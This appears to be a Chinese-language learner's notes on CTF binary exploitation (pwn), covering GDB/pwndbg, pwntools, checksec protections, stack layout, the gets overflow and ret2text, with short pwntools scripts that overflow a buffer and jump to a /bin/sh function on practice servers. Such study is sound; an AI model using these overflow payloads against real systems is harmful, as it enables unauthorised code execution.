前言

个人感觉pwn和web是安全俩个大方向,与逆向相比,pwn要更加底层,所以暂时并不打算过于深入的学习pwn,旨在了解一些简单的二进制漏洞即可
感觉pwn比逆向难学多了,诶,慢慢来吧,着急不得,这里暂时先把那几个常见漏洞的原理,常见利用,和加固了解一下,学的太艰难了

常见pwn工具的使用

GDB 的使用方法

GDB(GNU Debugger)是 Linux/Unix 系统中常用的程序调试工具

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
pwndbg> break main     #打断点
Breakpoint 1 at 0x40080f
pwndbg> info break #查看断点
Num Type Disp Enb Address What
1 breakpoint keep y 0x000000000040080f <main+4>
#运行程序在main处停下 start
#重新启动整个程序 run r
#单步执行,跳过子函数 next n
#单步执行,进入子函数 step s
#直接执行到下一断点或程序结束 continue c
pwndbg> cyclic 100 #生成100个字符,每8个字符组成的字符串都不相同(32位程序就是4个字符)
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa
pwndbg> cyclic -l aaaamaaa #查找字符串的位置
Finding cyclic pattern of 8 bytes: b'aaaamaaa' (hex: 0x616161616d616161)
Found at offset 92

Pwntools 的使用

checksec

检查安全机制开启情况

1
2
3
4
5
6
RELRO:      Partial RELRO #Partial RELRO:.got不可写,got.plt可写
#Full RELRO:.got和got.plt不可写
Stack: Canary found #在栈帧中保存一个随机值(canary),溢出覆盖返回地址前必须先覆盖 canary;程序在返回时检测 canary 是否改变,若改变则触发异常
NX: NX enabled # NX enabled 将栈内存权限设置为不可执⾏,从⽽⽆法简单地在栈上布置 shellcode
PIE: No PIE (0x400000) #No PIE:可执行文件的基地址在编译时固定
#PIE Enabled:程序以可重定位方式加载,每次启动时基地址随机化(ASLR + PIE),使得代码段地址不可预测。

编写攻击脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

from pwn import*
context(os="linux",arch="amd64",log_level="debug") #全局设置对象

##连接程序
a=process("./pwn1") #本地连接,测试程序
a=remote("node5.buuoj.cn",29119) #远程连接,测试程序

## 编写payload
payload=b'a'*(0x0f-0x00+8)+p64(0x040118a)#p64() 是对 64 位程序的数据进行打包,处理后形成小端序字节流
#注意:Python 在打印 bytes 对象时,对可打印的 ASCII 字符会直接显示字符本身,比如print(p64(0x1122334455667788))会显示成 \x88wvUD3\x11

## 等待接收
a.recvuntil("please input") #等待接收到 some_string
code=a.recv(N) #接收 N 个字符
line=a.recvline() #直接接收一整行的输出
lines=a.recvlines(N) #接收 N 个行的输出

## 发送数据
a.sendline(payload) #发送 payload,并进行换行
a.sendlineafter("please input",payload)#等接受到"please input"后,再发送payload,内部就是封装了 recvuntil + sendline
a.interactive() #进入交互模式
struct

struct 模块可以将某些特定的结构体类型打包成二进制流的字符串
pwntools 里的 p32 / p64 本质就是 struct 的封装。

1
2
3
4
5
6
7
struct.pack("<I", x)#等价于p32(x)
struct.pack("<Q", x)#等价于p64(x)
print(list(struct.pack("<I", 0x12345678)))#[120, 86, 52, 18],最多能处理四字节
print(list(struct.pack("<Q", 0x12345678)))#[120, 86, 52, 18, 0, 0, 0, 0]
print(list(struct.pack("<Q", 0x123456789ABCDEF0)))#[240, 222, 188, 154, 120, 86, 52, 18],最多能处理8字节
#除了打包整形,还能打包float,免得你再去float将转换为16进制
struct.pack("<f", 3.14)
类型 struct 格式 字节 pwntools
uint8 B 1 p8
uint16 H 2 p16
uint32 I 4 p32
uint64 Q 8 p64
float f 4 无(需 struct.pack)
double d 8 无(需 struct.pack)

常见二进制普适漏洞及利⽤

栈缓冲区溢出

栈溢出指的是程序向栈中的某个变量写入的字节数超过了这个变量本身所申请的字节数,因而导致与其相邻的栈中的变量的值被改变。

基础知识

栈是汇编程序中用于管理函数调用、参数传递、局部变量和寄存器状态的内存结构。
它让程序能像积木一样层层调用又安全返回,是 CPU 调用机制的“中枢神经”。

sp——stack point——堆栈指针寄存器,始终指向当前栈顶,是push和pop的参考坐标
bp——base point——基础指针,在函数执行期间固定,作为当前函数栈帧的基准点

栈具有高地址在上,低地址在下的特点,即老数据在大地址,新数据在小地址,pop的时候,sp增加,push的时候sp减少

32位代码说明
1
2
3
4
5
6
7
8
9
10
11
12
13
14
main:
call foo ; 调用 foo

foo:
push ebp ; 保存调用者的 EBP(即上一个函数的栈基址)
mov ebp, esp ; 当前 ESP(栈顶)成为新函数的栈基址
sub esp, 0x20 ; 为局部变量分配空间(例如 32 字节)

; -------- 函数体使用栈(用 [ebp - offset] / [ebp + offset] 访问) --------

; 函数返回(epilogue)
mov esp, ebp ; 恢复栈顶(释放本函数的局部变量)
pop ebp ; 恢复调用者的 EBP(返回到调用者的栈帧)
ret ; 从栈顶弹出返回地址并跳回(CPU 内部)等价于:RIP = [RSP] RSP += 8

32位栈位大小位4字节

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

高地址 | 值 指向
|--------------------------------
| ... caller (main) 的栈帧 ...
|--------------------------------
| argN <- [EBP + 8 + 4*(N-1)]
+--------------------------------
| ...
+--------------------------------
| arg2
+-------------------------------- <- [EBP + 12]
| arg1
|-------------------------------- <- [EBP + 8]
| 返回地址(call foo的下一条指令的地址,ret时弹出)
|-------------------------------- ← [EBP + 4]
| main 的 EBP(push ebp)
|-------------------------------- ← [foo函数的 EBP]
| 函数内局部变量区域 (32 字节) ← [EBP - 0x20] ~ [EBP - 1]
|--------------------------------
低地址 | ← ESP(永远指向栈顶)

函数的调用与返回是对称的:
进栈多少字节,就要出栈多少字节。

危险函数

gets

gets函数是一个危险函数。因为它不检查输入的字符串长度,而是以回车来判断结束

1
2
3
4
5
6
7
8
9
10
int __fastcall main(int argc, const char **argv, const char **envp)
{
char s[15]; // [rsp+1h] [rbp-Fh] BYREF

puts("please input");
gets((__int64)s, (__int64)argv);
puts(s);
puts("ok,bye!!!");
return 0;
}

如上述代码输入超过 15 字节,就会覆盖s 后面的栈空间,而s是main函数中的临时变量,后紧跟saved RBPreturn address,溢出就会覆盖返回地址

ret2text

ret2text 即控制程序执行程序本身已有的的代码(.text)。即存在危险函数如system("/bin")或execv("/bin/sh")的片段,可以直接劫持返回地址到目标函数地址上

如何利用后门函数

直接调用函数

可以直接调用,但是64 位系统高版本需要在调用前函数前加个ret平衡堆栈,glibc2.27 以后引入 xmm 寄存器,记录程序状态,在执行 system() 函数时会执行 movaps 指令,要求 rsp 按 16 字节对齐,需要在进入 system() 函数之前加上一个 ret 指令的地址来平衡堆栈

获取一个ret指令的地址ROPgadget --binary 文件名 --only 'ret'

1
2
3
4
5
6
7
from pwn import *
p = remote("node4.buuoj.cn",29798)
fuc_addr=0x401186
ret_addr=0x401016
payload = 'a'*23 + p64(ret_addr) +p64(fuc_addr)
p.sendline(payload)
p.interactive()

为什么加个ret就能平衡堆栈哪?加ret难道不会影响后面的函数跳转吗?
比如说注入点是gets函数,注入完成之后函数返回

1
2
3
4
; 函数返回(epilogue)
mov esp, ebp ; 恢复栈顶(释放本函数的局部变量)
pop ebp ; 恢复调用者的 EBP(返回到调用者的栈帧)
ret ; 从栈顶弹出返回地址并跳回(CPU 内部)等价于:RIP = [RSP] RSP += 8

因为返回地址是ret,所以RIP为当前插入的ret的地址,rsp指向栈中的fuc_addr
此时再执行一次ret,RIP为当前插入的fuc_addr的地址
所以等于说加个ret,调用结果没有变但是RSP += 8
为什么需要RSP += 8?
函数内容如下

1
2
3
4
5
6
7
.text:0000000000401186                 push    rbp
.text:0000000000401187 mov rbp, rsp
.text:000000000040118A lea rdi, command ; "/bin/sh"
.text:0000000000401191 call _system
.text:0000000000401196 nop
.text:0000000000401197 pop rbp
.text:0000000000401198 retn

可以看到函数执行的时候,会先push rbp,此时RSP -= 8

调用system方法

其实我们只要保证lea rdi, command call _system这两行汇编代码执行就行了,所以我们可以选择p64(40118A)或者p64(401187)作为调用地址,只要不执行push rbp,就不需要ret

没有system(“/bin/sh”),但可以自己构造

ret2shellcode

格式化字符串漏洞

整数溢出

字符串 \0 结尾

堆缓冲区溢出